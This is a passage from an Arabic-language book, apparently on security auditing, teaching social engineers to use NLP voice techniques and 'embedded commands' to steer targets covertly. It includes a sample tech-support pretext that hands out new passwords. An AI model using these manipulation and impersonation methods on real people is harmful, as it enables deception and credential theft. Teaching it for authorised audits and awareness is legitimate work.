‫ھﻧﺎك ﺗﺿﺎرب ﺑﯾن اﻟﻘول واﻟﻔﻌل ﻓﺎﻧظر إﻟﻰ اﻟﻔﻌل ﻓﻘط‪ .‬اﺑﺣث ﻋن اﻟدﻟﯾل اﻟﺳﻠوﻛﻲ ﻟﻠﺗﻐﯾﯾر وﻻ ﺗﻌﺗﻣد ﻋﻠﻰ ﻣﺎ ﯾﻘوﻟﮫ اﻟﻧﺎس ﺑﻛﻠﻣﺎﺗﮭم‪.‬‬
‫‪ -12‬أھﻣﯾﺔ اﻟﺗﻔرﯾﻖ ﺑﯾن اﻟﺳﻠوك واﻟذات‪ :‬إذا ﻓﺷل اﻟﻣرء ﻓﻲ أﻣر ﻣﺎ وﻧﺗﺞ ﻋن ذﻟك ﺧﺳﺎرة ﻓﻼ ﯾﻌﻧﻲ ذﻟك أﻧﮫ إﻧﺳﺎن ﺧﺎﺳر أو ﻓﺎﺷل‪.‬‬
‫اﻟﺳﻠوك ھو ﻣﺎ ﯾﻘوﻟﮫ اﻟﻣرء أو ﯾﻔﻌﻠﮫ أو ﯾظﮭر ﻋﻠﯾﮫ ﻓﻲ أي ﻟﺣظﺔ ﻣن اﻟزﻣن‪ .‬وھو ﻟﯾس ذات اﻹﻧﺳﺎن‪ .‬ﻓذات اﻟﻣرء أﻛﺑر ﻣن ﺳﻠوﻛﮫ‪.‬‬
‫‪ -13‬ﻟﯾس ھﻧﺎك ﻓﺷل ﺑل ﺗﻐذﯾﺔ ﻣرﺗﺟﻌﺔ‪ :‬ﻣن اﻟﻣﻔﯾد أن ﯾرى اﻹﻧﺳﺎن ﺧﺑراﺗﮫ ﻓﻲ إطﺎر ﺗﻌﻠﯾﻣﻲ ﻣﻔﯾد وﻟﯾس ﻓﻲ إطﺎر ﻓﺷل‪ .‬إن ﻟم ﯾﻧﺟﺢ‬
‫اﻟﻣرء ﻓﻲ ﻣﺳﺄﻟﺔ ﻣﺎ ﻓﻼ ﯾﻌﻧﻲ ذﻟك اﻧﮫ ﻗد ﻓﺷل ﺑل ﺗﻌﻧﻲ أﻧﮫ اﻛﺗﺷف طرﯾﻘﺔ ﻻ ﯾﻧﺑﻐﻲ ﻟﮫ أن ﯾﺳﺗﺧدﻣﮭﺎ ﻣرة أﺧرى ﻓﻲ ﻣﺣﺎوﻟﺔ اﻟوﺻول‬
‫إﻟﻰ ﺗﻠك اﻟﻣﺳﺄﻟﺔ وﻣن ﺛم ﻓﻌﻠﻰ ھذا اﻟﻣﺳﺗﻔﯾد أن ﯾﻐﯾر ﻣن ﺳﻠوﻛﮫ ﺣﺗﻰ ﯾﺟد اﻟطرﯾﻖ إﻟﻰ اﻟﻧﺟﺎح‪.‬‬
‫ﻛﯿﻒ ﯾﻤﻜﻦ اﺳﺘﺨﺪام اﻟﺒﺮﻣﺠﺔ اﻟﻠﻐﻮﯾﺔ اﻟﻌﺼﺒﯿﺔ ﻛﻤﮭﻨﺪس اﺟﺘﻤﺎﻋﻲ )‪(How to Use NLP as a Social Engineer‬‬
‫ﺗﻣﯾل اﻟﻌدﯾد ﻣن اﻟﺑراﻣﺞ اﻟﻧﺻﯾﺔ وﻣﺑﺎدئ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ﻓﻲ اﻟﻣﯾل ﺗﺟﺎه اﻟﺗﻧوﯾم اﻟﻣﻐﻧﺎطﯾﺳﻲ وطرق ﻣﻣﺎﺛﻠﺔ‪ .‬ﻋﻠﻰ اﻟرﻏم ﻣن أﻧك ﻟن‬
‫ﺗﺳﺗﺧدم اﻟﺗﻧوﯾم اﻟﻣﻐﻧﺎطﯾﺳﻲ ﻛﮭدف ﻟﻠﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬وﻟﻛن ﯾﻣﻛﻧك اﺳﺗﺧدام اﻟﻌدﯾد ﻣن ﻣﺑﺎدئ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﯾﻣﻛن ‪ NLP‬ﯾﻌﻠﻣك ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ﺻوﺗك‪ ،‬واﻟﻠﻐﺔ‪ ،‬واﺧﺗﯾﺎر اﻟﻛﻠﻣﺎت ﻟﺗوﺟﯾﮫ اﻟﻧﺎس ﻓﻲ اﻟطرﯾﻖ اﻟذي ﺗرﯾده‪.‬‬
‫ﻧﺒﺮة اﻟﺼﻮت ﻓﻲ اﻟﺒﺮﻣﺠﺔ اﻟﻠﻐﻮﯾﺔ اﻟﻌﺼﺒﯿﺔ )‪(Voice in NLP‬‬
‫ﯾﻣﻛﻧك اﺳﺗﺧدام ﺻوﺗك ﻟﺣﻘن اﻷواﻣر ﻓﻲ اﻟﻧﺎس ﺗﻣﺎﻣﺎ ﻛﻣﺎ ﺗﺳﺗﺧدم اﻟﺗﻌﻠﯾﻣﺎت اﻟﺑرﻣﺟﯾﺔ ﻟﺣﻘن اﻷواﻣر ﻓﻲ ﻗﺎﻋدة ﺑﯾﺎﻧﺎت‪ . SQL‬اﻟطرﯾﻘﺔ اﻟﺗﻲ‬
‫ﺗﻘول ﺑﮭﺎ أﺷﯾﺎء ھﻲ اﻟﺗﻲ ﯾﺣدث ﻓﯾﮭﺎ اﻟﺣﻘن‪ .‬ھذه اﻟﻠﺣظﺔ اﻟﻔرﯾدة ﻣن اﻟﺣﻘن ﯾﺗم ﺻﯾﺎﻏﺗﮭﺎ داﺧل اﻟﻣﺣﺎدﺛﺔ اﻟﻌﺎدﯾﺔ‪ .‬أﺣﯾﺎﻧﺎ ﻛﯾف ﺗﻘول ﺷﯾﺋﺎ أﻛﺛر‬
‫أھﻣﯾﺔ ﻣﻣﺎ ﺗﻘوﻟﮫ‪.‬‬
‫‪ NLP‬ﯾﻌزز ﻋﻠﻰ اﺳﺗﺧدام اﻷواﻣر اﻟﻣﺿﻣﻧﺔ ﻟﻠﺗﺄﺛﯾر ﻋﻠﻰ اﻟﮭدف ﻟﻠﺗﻔﻛﯾر ﺑطرﯾﻘﺔ ﻣﻌﯾﻧﺔ أو اﺗﺧﺎذ إﺟراء ﻣﻌﯾن‪ .‬أﯾﺿﺎ‪ ،‬وذﻟك ﺑﺎﺳﺗﺧدام ﻧﻐﻣﺎت‬
‫ﺻوﺗك ﻟﺗﺄﻛﯾد ﺑﻌض اﻟﻛﻠﻣﺎت ﻓﻲ اﻟﺟﻣﻠﺔ ﯾﻣﻛن أن ﯾﺳﺑب ﻋﻘل ﺷﺧص اﻟﻼوﻋﻲ اﻟﺗرﻛﯾز ﻋﻠﻰ ﺗﻠك اﻟﻛﻠﻣﺎت‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪:‬‬
‫ﻟﻘد ﺳﻣﻌت اﻧﮭﺎ ﺗﺳﺗﺧدم ﺑﺷﻛل ﻓﻌﺎل ھو‪" :‬زﺑﺎﺋﻧﻲ ﻋﺎدة ﻣﺎ ﯾﻔﻌﻠون اﻷﺷﯾﺎء اﻟﺗﻲ أﻗوﻟﮭﺎ‪ .‬ھل ﺗرﯾد أن ﺗﺑدأ؟ "اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﺳﺗﺧدم اﻟﺟﻣﻠﺔ وﻣﺣﺎطﺔ‬
‫ﺑﺑﯾﺎﻧﺎت أﺧرى ﯾﻣﻛن أن ﺗﺟﻌل ھذا ﺑﯾﺎن ﻗﯾﺎدة ﻟﻠﻐﺎﯾﺔ‪.‬‬
‫اﻟﻣزﯾد ﻋن ھذا ﻓﻲ اﻟﻣﻘطﻊ اﻟﺗﺎﻟﻲ‪ ،‬وﻟﻛن ھذه اﻟﻣﮭﺎرة وﺣدھﺎ ﯾﻣﻛن أن ﺗﻐﯾر اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﺗﻔﺎﻋل ﻣﻊ اﻵﺧرﯾن‪.‬‬
‫ﺑﻨﺎء اﻟﺠﻤﻞ )‪(Sentence Structure‬‬
‫ﻓﻲ اﻟﻠﻐﺔ اﻹﻧﺟﻠﯾزﯾﺔ‪ ،‬اﻟﺻوت ﻓﻲ ﺻوت ﺷﺧص ﻣﺎ ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﺟﻣﻠﺔ ﯾﺷﯾر إﻟﻰ ﻣﺎ إذا ﻛﺎن ﻣﺎ ﯾﻘﺎل ھو ﺳؤال‪ ،‬ﺑﯾﺎن‪ ،‬أو أﻣر‪ .‬ﺻوت اﻟﺷﺧص‬
‫ﺗرﺗﻔﻊ ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﺟﻣﻠﺔ ﻓﻲ ﺣﺎﻟﺔ اﻷﺳﺋﻠﺔ‪ .‬اﻟﺻوت ﯾﺑﻘﻰ ﻋﻠﻰ ﺣﺎﻟﮫ ﺣﺗﻰ ﻧﮭﺎﯾﺔ اﻟﺟﻣﻠﺔ ﻓﻲ اﻟﺑﯾﺎﻧﺎت‪ ،‬ﯾﺧﻔض اﻟﺻوت ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﺟﻣﻠﺔ ﻓﻲ ﺣﺎﻟﺔ‬
‫اﻷواﻣر‪.‬‬
‫ﻣﻠﺣوظﮫ‪ :‬اﻟﻔﻘرات اﻟﻘﻠﯾﻠﺔ اﻟﻘﺎدﻣﺔ‪ ،‬ﺣﯾث ان اﻟﺧط اﻟﻐﺎﻣﻖ ﻣﻊ اﻟﻠون اﻻزرق ﯾدل ﻋﻠﻰ ﺧﻔض )ﺗﻌﻣﯾﻖ( ﻧﻐﻣﺔ ﺻوﺗك‪.‬‬
‫ﺟرب ھذا اﻟﺗﻣرﯾن‪ :‬ﻋﻧدﻣﺎ ﺗﺳﺄل ﺳؤال ﻣﺛﻼ "ھل ھذا ﻛﻠﺑك؟" ﺳﯾرﺗﻔﻊ ﺻوﺗك ﻓﻲ ﻧﮭﺎﯾﺔ ھذه اﻟﺟﻣﻠﺔ‪ .‬ﯾﻣﻛﻧك ﺗﺿﻣﯾن أواﻣر ﺧﻔﯾﺔ ﻓﻲ اﻟﺟﻣل ﻋن‬
‫طرﯾﻖ ﺗﻐﯾﯾرھﺎ إﻟﻰ ﻧﻘطﺔ ھﺑوط ﺧﻼل اﻟﺟﻣﻠﺔ‪ ،‬وﻟﯾس ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﺟﻣل‪ .‬ھﻧﺎ ﺑﻌض اﻷواﻣر اﻟﺑﺳﯾطﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟك ﻟﻣﻣﺎرﺳﺗﮭﺎ‪ .‬ﻻﺣظ ﻛﯾف ﯾﻣﻛن‬
‫ﺣﻘن اﻷﻣر داﺧل اﻟﺟﻣﻠﺔ‪.‬‬
‫"ﺗذﻛر ﻛﯾف ﺑدت ﻏرﻓﺗك ﻧظﯾﻔﺔ ﻓﻲ ﻋﯾد اﻟﻣﯾﻼد اﻟﻣﺎﺿﻲ؟" اﻷﻣر اﻟﻣﺿﻣن ھﻧﺎ ھو "ﺗﻧظﯾف اﻟﻐرﻓﺔ اﻟﺧﺎﺻﺔ ﺑك"‪ ،‬واﻟذي ﯾﺗﺿﻣن ﺗﺣول اﻟوﻗت‬
‫إﻟﻰ وﻗت أﻛﺛر ﺳﻌﺎدة‪ .‬ھذا ھو ﻣﺛﺎل ﻋﻠﻰ ذﻟك‪ ،‬ﺣﻘن ﻏﯾر ﻣؤﻟم وﻟطﯾف‪.‬‬
‫"اﺷﺗر اﻵن‪ ،‬وﺳوف ﺗرى اﻟﻔواﺋد ﻻﺣﻘﺎ!" ھذا ﯾﺑدأ ﻣﻊ ﺻوت ﻣﻧﺧﻔض‪ ،‬ﺛم ﺗﺻل إﻟﻰ ﻧﻐﻣﺔ ﻋﺎدﯾﺔ‪ ،‬ﺛم ﺗراﺟﻊ اﻟﺻوت اﻟﻰ ﻣﻧﺧﻔض ﻋﻧد ﻛﻠﻣﺔ‬
‫اﻟﻔواﺋد‪.‬‬
‫ﻣن وﺟﮭﺔ ﻧظر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛﻧك ﺗﻛوﯾن اﻟﺟﻣل ﻋﻧد إﺟراء اﻟﺗدﻗﯾﻖ ﻋﺑر اﻟﮭﺎﺗف ﻟﺗﻌظﯾم اﺣﺗﻣﺎﻻت اﻟﻧﺟﺎح‪ ،‬ﻣﺛل‪:‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪856‬‬

‫"ھذا ھو ﻻري ﻣن اﻟدﻋم اﻟﻔﻧﻲ‪ .‬ﻧﺣن ﻧﻌطﻲ ﻛل اﻟﻌﻣﻼء ﻛﻠﻣﺎت ﺳر ﺟدﯾدة‪ .‬ﻛﻠﻣﺔ اﻟﺳر اﻟﺟدﯾدة ﻟك ھﻲ" ‪...‬‬
‫ﻓﯾﻣﺎ ﯾﻠﻲ ﻧﺻﺎﺋﺢ ﻻﺳﺗﺧدام ﺻوﺗك ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻧﺎﺟﺣﺔ‪:‬‬
‫اﻟﻣﻣﺎرﺳﺔ‪ .‬ﻣﺎرس اﻟﺗﺣدث ﺑﮭذه اﻟطرﯾﻘﺔ ﺣﺗﻰ ﻻ ﯾﺑدو وﻛﺄﻧك ﺷﺧص ﻣراھﻖ ﯾدﺧل ﺳن اﻟﺑﻠوغ‪ .‬رﻓﻊ وﺧﻔض ﻧﻐﻣﺎت اﻟﺻوت اﻟﺧﺎﺻﺔ ﺑك ﻻ‬
‫ﺗﺟﻌﻠﮫ ﻛﺄﻧﮫ ﻣﻌﻠب‪ .‬ﯾﺟب أن ﯾﻛون ﺧﻔﯾﻔﺎ‪.‬‬
‫ﻛون دﻗﯾﻘﺎ وﺣذرا ﻓﻲ ﺑﻧﺎء اﻟﺟﻣﻠﺔ‪ .‬ﺗطوﯾر اﻟﺟﻣل ﺗزﯾد ﻣن ﻗدرﺗك ﻋﻠﻰ إﻧﺟﺎز اﻟﻣﮭﺎم اﻟﺧﺎﺻﺔ ﺑك‪ .‬ﻻ ﺗذھب ﻟﻠﻘﺗل‪ ،‬إذا ﺟﺎز اﻟﺗﻌﺑﯾر‪ .‬أﻣر ﻣﺛل‬
‫"أﻋطﻧﻲ اﻟوﺻول إﻟﻰ ﻏرﻓﺔ اﻟﺧﺎدم اﻟﺧﺎص ﺑك اﻵن" ھو ﻋﻠﻰ اﻻرﺟﺢ ﻟن ﯾﻌﻣل‪ ،‬وﻟﻛن ﯾﻣﻛﻧك اﺳﺗﺧدام ھذه اﻟﺗﻘﻧﯾﺎت اﻟﺻوﺗﯾﺔ ﻟﻠﻣﺳﺎﻋدة ﻓﻲ أن‬
‫ﯾﻛون اﻟﮭدف أﻛﺛر اﻧﻔﺗﺎﺣﺎ ﻋﻠﻰ ﻓﻛرة‪.‬‬
‫ﻛون واﻗﻌﻲ‪ .‬ﻻ ﺗﺗوﻗﻊ ﻋﻧدﻣﺎ ﺗﺗﻛﻠم ان ﯾﻘﻊ اﻟﻧﺎس ﻋﻧد ﻗدﻣﯾك ﻋﻧدﻣﺎ ﺗطﻠب ذﻟك‪ .‬ﯾﻣﻛن وﺿﻊ ھذه اﻟﺗﻘﻧﯾﺎت اﻟﺗﻲ ﺗﺳﺗﮭدﻓﮭﺎ ﻓﻲ ﺣﺎﻟﺔ ذھﻧﯾﺔ ﻣن‬
‫ﺷﺄﻧﮭﺎ أن ﺗﺟﻌل اﻟﺣﺻول ﻋﻠﻰ ﻣﺎ ﺗرﯾد أﺳﮭل‪.‬‬
‫أﺳﻠوب واﺣد‪ ،‬ھو ‪ ،Ultimate Voice‬وإذا أﺗﻘن‪ ،‬ﯾﻛون ﻟﮭﺎ ﺗﺄﺛﯾرات ﻗوﯾﺔ ﺟدا‪ .‬ﻛﯾف ﯾﻣﻛن ﻟﻠﻣرء إﺗﻘﺎن ھذه اﻟﺗﻘﻧﯾﺔ‪.‬‬
‫ﻛﯿﻔﯿﺔ اﺳﺘﺨﺪام ‪ Ultimate Voice‬ﻓﻲ اﻟﮭﻨﺪﺳﺔ اﻻﺟﺘﻤﺎﻋﯿﺔ‬
‫ﯾﻣﻛﻧك أن ﺗﺗﻘن ‪ Ultimate Voice‬وﻟﻛﻧﮫ ﺳوف ﯾﺄﺧذ اﻟﻛﺛﯾر ﻣن اﻟﻣﻣﺎرﺳﺔ‪ .‬اﻟﻘدرة ﻋﻠﻰ ﺗﺿﻣﯾن اﻷواﻣر ﻓﻲ ﻣﺣﺎدﺛﺔ ﻋﺎدﯾﺔ ھﻲ ﻣﮭﺎرة ﯾﻣﻛن‬
‫أن ﯾﻛون ﻣﻔﯾدا ﻟﻠﻐﺎﯾﺔ ﻋﻧدﻣﺎ ﺗﺗﻘن‪ Ultimate Voice .‬ھو اﻟﻘدرة ﻋﻠﻰ ﺣﻘن اﻷواﻣر ﻓﻲ أذھﺎن اﻟﻧﺎس دون ﻋﻠﻣﮭم‪ .‬ﯾﻣﻛن أن ﯾﺑدو اﺻطﻧﺎﻋﻲ‬
‫ﺟدا ﻋﻧدﻣﺎ ﯾﺣﺎول ﺷﺧص ﺟدﯾد‪ ،‬ﺣﺗﻰ ﺗﺟﻌل اﻟﻣﻣﺎرﺳﺔ اﻟﻛﺎﻓﯾﺔ اﻟﺻوت طﺑﯾﻌﻲ‪.‬‬
‫ھﯾﺑﻧوﺗﯾﺳﺗس )‪ (Hypnotists‬ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺳﺗﺧدم ھذه اﻟﺗﻘﻧﯾﺔ ﻣﺛل ذﻟك‪:‬‬
‫"ﯾﻣﻛن أن ﺗﺷﻌر ﻧﻔﺳك ﺑﺎﻻﺳﺗرﺧﺎء ﻛﺄﻧك ﺗﺳﻠل اﻟﻰ اﻟﮭدوء‪".‬‬
‫ھذا اﻟﻌﻼج اﻟﻘﯾﺎﺳﻲ ﻋﺑﺎرة ﯾﻣﻛن ﺗﻛﯾﯾﻔﮭﺎ ﻣﻊ ﻣﺎ ﯾﻘرب ﻣن أي أﻣر ﺗرﯾد‪ .‬اﻟﺗرﻛﯾز اﻟزاﺋد ﻋﻠﻰ ﺣروف اﻟﻌﻠﺔ ﻓﻲ اﻟﻛﻠﻣﺎت اﻟﺗﻲ ﺗرﯾد ھﺟﺎﺋﮭﺎ‪ ،‬ﻋﻠﻰ‬
‫ﺳﺑﯾل اﻟﻣﺛﺎل‪"yooouurseeelf reelaaxiing". ،‬‬
‫ﻣوﻗﻊ ﻛوﻛب اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ )‪ (http://www.planetnlp.com‬ﯾﻘدم ﺛﻼﺛﺔ اﻟﺗﻣﺎرﯾن اﻟﺗﻲ ﯾﻣﻛﻧك اﺳﺗﺧداﻣﮭﺎ ﻟﻠﻌﻣل ﻋﻠﻰ إﺗﻘﺎن ھذه‬
‫اﻟﺗﻘﻧﯾﺔ‪.‬‬
‫اﻧﻘل ﺻوﺗك ﺣوﻟك‪ .‬اﺿﻐط ﺑﯾدك ﻋﻠﻰ أﻧﻔك وﻗول "اﻷﻧف"‪ .‬اﻟﺗرﻛﯾز ﻋﻠﻰ أﻧﻔك وأﻧت ﺗردد اﻟﻛﻠﻣﺔ ﺣﺗﻰ ﯾﻣﻛﻧك أن ﺗﺷﻌر ان أﻧﻔك ﺗﮭﺗز‪ .‬اﻵن‬
‫اﻓﻌل ﻧﻔس اﻟﺗﻣرﯾن ﻣﻊ ﯾدك ﻋﻠﻰ ﺣﻠﻘك‪ ،‬ﻗﺎﺋﻼ "اﻟﺣﻠﻖ"‪ .‬أن ﺗﻔﻌل اﻟﺷﻲء ﻧﻔﺳﮫ ﻋﻠﻰ ﺻدرك‪ ،‬ﻗﺎﺋﻼ "اﻟﺻدر"‪ .‬إﺑﻘﺎء ﻣﻣﺎرﺳﺔ ﺣﺗﻰ ﯾﻣﻛﻧك أن‬
‫ﺗﺷﻌر ﺣﻘﺎ اﻻھﺗزاز ﻓﻲ ﻛل ﻣﻛﺎن‪ .‬ﻻﺣظ ﻛﯾف ﯾﺑدو ﻣﺧﺗﻠﻔﺎ ﻛل واﺣد‪.‬‬
‫اﺳﺗﺧدام اﻟﻧطﺎق اﻟﺧﺎص ﺑك‪ .‬اﺑدا ﺑﻧﺑره ﻋﺎﻟﯾﺔ‪ ،‬وﻗول "‪ ."ar‬اﺣﻔظ ﻓﻣك ﻣﻔﺗوﺣﺎ‪ ،‬اﺳﻣﺢ ﺑﺎﻟﻧﺑرة ان ﺗﻧﺧﻔض ﺗدرﯾﺟﯾﺎ ﺣﺗﻰ ﯾﻧﺗﮭﻲ اﻟﺗﻧﻔس اﻟﺧﺎص‬
‫ﺑك‪ .‬ﻛرر ھذا اﻟﺗﻣرﯾن ﻋﺷر ﻣرات‪.‬‬
‫ﺛم‪ ،‬اﺑدأ ﺑﻧﺑره ﺻوت ﻣﻧﺧﻔﺿﺔ‪ ،‬وﻗول "‪ ،"ou‬م اﺳﻣﺢ ﺑﻌﻠو ھذه اﻟﻧﺑرة ﺗدرﯾﺟﺎ ﺣﺗﻰ ﻻ ﯾﻣﻛﻧك ﺗدﻋﯾم ھذا اﻟﺻوت‪ .‬ﻛرر ھذا اﻟﺗﻣرﯾن ﻋﺷر‬
‫ﻣرات‪.‬‬
‫اﻟﺻدى )‪ .(Resonate‬ﻻﺳﺗﺧدام ﺻوﺗك ﺑﺷﻛل ﺻﺣﯾﺢ‪ ،‬ﯾﺟب أن ﯾﺗردد ﺻداھﺎ‪ ،‬ﻣﺎ ھﻲ ﻣﻧطﻘﺔ اﻟوﺟﮭﺔ اﻟﻣﺣﯾطﺔ ﺑﺎﻷﻧف واﻟﻔم‪.‬‬
‫ھﻧﺎك طرﯾﻘﺗﺎن ﻟﻣﻣﺎرﺳﺔ اﻟﺻدى‪:‬‬
‫اﻟﮭﻣﮭﻣﺔ ﻣﮭﻣﺎ ﻛﺎن ‪) pitch‬اﻟﺣدة أو اﻟدرﺟﺔ اﻟﺻوﺗﯾﺔ( ھو اﻷﻛﺛر راﺣﺔ ﻟك‪ .‬ﺑﻌد أن ﺗﻛون ﻗد وﺟدت ‪ pitch‬اﻟﻣﻧﺎﺳب ﻗم ﺑﺎﻟﮭﻣﮭﻣﺔ ﺑﻛﻠﻣﺔ‬
‫"‪ "umm‬ﯾﻠﯾﮫ ﻣﺑﺎﺷرة ﻛﻠﻣﺔ "‪ ."ready‬اﻓﻌل ھذا ﻋدة ﻣرات‪ ،‬ﺛم ﺣﺎول ﻋﺑﺎرة "‪ ،"two" ،"one" ،"now‬و "‪."three‬‬
‫ھﻣﮭم ﺛم اﺳﻣﺢ ﻟﺷﻔﺗﯾك ان ﺗﮭﺗز‪ .‬ﺣﺎول اﻟﻘﯾﺎم ﺑﺻوت وﻛﺄﻧﮫ دوف)‪ .(dove‬ﺛم ﻗم ﺑرﻓﻊ ‪) pitch‬اﻟﺣدة أو اﻟدرﺟﺔ اﻟﺻوﺗﯾﺔ( وﺧﻔﺿﮫ‪ .‬ھذا‬
‫ﺻﻌب ﺟدا إذا ﻛﺎن ﻟدﯾك أي ﺗوﺗر ﻓﻲ اﻟﻔك أو اﻟوﺟﮫ‪ .‬إذا ﻓﻌﻠت ﺑﺷﻛل ﺻﺣﯾﺢ ﻟﺑﺿﻊ دﻗﺎﺋﻖ‪ ،‬ﺳوف ﯾﺑدأ وﺟﮭك ﺑﺎن ﯾﺷﻌر اﻟﺗﺧدر‪.‬‬
‫ﺑﻌد ﺑﺿﻊ دﻗﺎﺋﻖ ﺑﺎﺳﺗﺧدام ھذه اﻷﺳﺎﻟﯾب‪ ،‬ﯾﺟب أن ﺗﻼﺣظ أن ﺻوﺗك ﯾﺑدو ھش‪ .‬إذا وﺟدت أﻧﮫ ﻣن اﻟﺻﻌب أن ﺗﻼﺣظ‪ ،‬ﺳﺟل ﻟﻧﻔﺳك واﺳﺗﻣﻊ‬
‫ﻟﺗرى ﻛﯾف ﯾﺑدو ﻟك‪.‬‬
‫أﻓﺿل طرﯾﻘﺔ ﻟﺗﺣﺳﯾن ھﻲ ﺗﻧﻔﻖ ﺣواﻟﻲ ﺧﻣس دﻗﺎﺋﻖ ﻓﻲ اﻟﯾوم ﻟﻠﻘﯾﺎم ﺑﮭذا اﻟﺗﻣﺎرﯾن‪.‬‬
‫اﻟﻣﻣﺎرﺳﺔ ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ ﺗﻌﻠم اﻟﺳﯾطرة ﻋﻠﻰ ھذه اﻟﺗﻘﻧﯾﺔ اﻟﺻوﺗﯾﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬أﻧﺎ ﻋﻣوﻣﺎ ﺷﺧص ﺑﺻوت ﻋﺎل‪ .‬ﯾﺑدو وﻛﺄﻧﻧﻲ ﻟم‬
‫ﯾﻛن ﻟدي اﻟﻘدرة ﻋﻠﻰ اﻟﮭﻣس‪ .‬ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ اﻟﺳﯾطرة ﻋﻠﻰ اﻟﻧﻐﻣﺎت‪ ،‬ﺣدة اﻟﺻوت‪ ،‬وﺣﺟم‪ ،‬ﯾﺣﺗﺎج اﻟﻰ ﻣﻣﺎرﺳﺔ‪ .‬ﯾﻣﻛن اﻟﻘﯾﺎم ﺑﺗﻣﺎرﯾن ﺻوﺗﯾﺔ‬
‫ﺑﺳﯾطﺔ ﻣﺛل ھذه ﺗﺳﺎﻋدك ﻋﻠﻰ اﻟﺳﯾطرة ﻋﻠﻰ ﺧﺻﺎﺋص اﻟﺻوت ھذه‪.‬‬
‫ﻋﻧد اﻟﺗﺣدث ﻓﻲ اﻟﺟﻣﻠﺔ اﻟﺗﻲ ﺗرﯾد أن ﺗدرج أﻣر ﺧﻔﻲ‪ ،‬وﻛﻧت ﺗرﻏب ﻓﻲ ﺧﻔض اﻟﻠﮭﺟﺔ اﻟﺧﺎﺻﺔ ﺑك‪ ،‬ﻻﺑد ان ﯾﺟري ﺧﻔﯾﺎ ﺑﺣﯾث ﻻ ﯾدرك‬
‫اﻟﮭدف‪ .‬ﺧﻼف ذﻟك‪ ،‬ﺳوف ﺗﻧﺑﯾﮫ اﻟﻼوﻋﻲ ﻟذﻟك اﻟﺷﺧص ﻟﺗﺣرﯾك ﺑﺎن ھﻧﺎك ﺷﯾﺋﺎ ﺧﺎطﺋﺎ‪ .‬إذا ﺣدث أﻧﮫ ﻗد اﻟﺗﻘط ﻣﺣﺎوﻻﺗك وﺑﺎﻟﺗﺎﻟﻲ ﯾﻘوم ﺑﺄﻏﻼق‬
‫ﻧﺟﺎﺣك‪.‬‬
‫ﻣﺛل ﻣﻌظم اﻷﺷﯾﺎء ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬إذا ﻛﺎن اﻷﺳﻠوب ﻻ ﯾﺄﺗﻲ ﺑﺷﻛل طﺑﯾﻌﻲ‪ ،‬ﻓﺎﻟﻣﻣﺎرﺳﺔ أﻣر ﺿروري‪ .‬ﺣﺎول ھذه اﻟﺗﻘﻧﯾﺔ اﻟﺻوﺗﯾﺔ ﻋﻠﻰ‬
‫ﻋﺎﺋﻠﺗك وأﺻدﻗﺎﺋك ﻗﺑل أي وﻗت ﻣﺿﻰ ﻓﻲ ﻣﺣﺎوﻟﺔ اﻟﺗدﻗﯾﻖ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪857‬‬

‫ﻣن ﺗﺟرﺑﺔ ﺷﺧﺻﯾﺔ‪ ،‬ﻋﻧدﻣﺎ ﺑدأت اﻟﻌﻣل ﻋﻠﻰ ﺗﻘﻧﯾﺎت ‪ Ultimate Voice‬ﻗررت ھدﻓﻲ ھو ﺗﺿﻣﯾن اﻷواﻣر ﻓﻲ اﻷﺳﺋﻠﺔ‪ .‬اﺳﺗﻐرق ھذا اﻟﮭدف‬
‫ﺑﻌض اﻟوﻗت ﻟﺗدرك وﻟﻛن أود ﻣﺣﺎوﻟﺔ أﺷﯾﺎء ﺑﺳﯾطﺔ ﻣﺛل "ﺣﺑﯾﺑﺗﻲ ﻣﺎذا ﺗرﯾدن ان ﺗﺄﻛﻠﻲ ﻋﻠﻰ اﻟﻐداء اﻟﻠﯾﻠﺔ؟ ﺳﺗﯾك ام ﺷﻲء اﺧر؟"‪.‬‬
‫ﻣﻮاﻗﻊ اﻹدراك‬
‫‪ -1‬ﻣواﻗﻊ اﻹدراك اﻟزﻣﺎﻧﯾﺔ )ﺧط اﻟزﻣن(‬
‫ﺧط اﻟزﻣن‪ :‬ھو ﺧط وھﻣﻰ ﯾﺻل ﺑﯾن أﻣﺎﻛن ﺗرﺗﯾب اﻟﻣﻌﻠوﻣﺎت اﻟﻣﺧزﻧﺔ ﻓﻲ أﻗﺻﻰ اﻟﻣﺎﺿﻲ ﻣرورا ﺑﺎﻟﻣﺎﺿﻲ اﻟﻘرﯾب ﺛم اﻟﺣظﺔ "اﻵن" اﻧطﻼﻗﺎ‬
